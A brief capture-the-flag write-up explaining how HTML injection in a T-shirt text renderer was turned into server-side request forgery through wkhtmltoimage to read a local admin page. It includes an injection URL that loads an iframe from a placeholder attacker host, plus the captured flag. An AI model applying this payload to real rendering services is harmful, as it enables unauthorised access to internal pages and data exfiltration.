# Hacker TS We have some kind of image renderer that places our text onto a T-Shirt image. After some fuzzing, we would find that HTML injection is possible. ![](/files/Y4FMmCxDHBAttClz4Azj) If we try to load an external resource (e.g. JavaScript or stylesheet), we can capture the request made by the server, and see that the user agent is `wkhtmltoimage`. It seems that SSRF vulnerabilities through `wkhtmltoimage` and `wkhtmltopdf` are pretty [well known](http://hassankhanyusufzai.com/SSRF-to-LFI/), so we could craft the following payload to exfiltrate the contents of `http://localhost:5000/admin`. ```markup ``` We can then host the above and load it through an iframe: `http://challenge.nahamcon.com:32132/exploit?text=%3Ciframe%20src=%22https://ATTACKER_URL/exploit.html%22%3E&color=%2324d600` The contents of the admin page contains the flag: ```markup

Hi admin! here is your flag: flag{461e2452088eb397b6138a5934af6231}

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